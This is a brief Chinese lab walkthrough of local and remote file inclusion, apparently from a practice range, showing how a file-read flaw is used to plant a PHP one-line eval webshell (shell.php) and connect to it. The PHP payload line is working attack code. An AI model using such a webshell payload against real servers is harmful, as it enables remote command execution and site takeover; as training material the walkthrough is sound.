本地文件包含
1.来到关卡随便点击一个提交
可以发现这里可以读取文件
这是1.txt内容
能读取到上一级文件那么也就可以读取本地文件
上传一个jpg文件
拿去连就ok了
远程包含
包含写木马的文件
该文件内容如下，其作用是在fi_remote.php文件的同级目录下新建一个文件1.txt，并将一句话木马写入shell.php
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>
然后读取这个txt文件写入shell.php这里读完后页面没有显示我们直接连一下看看
连接成功说明写进去了
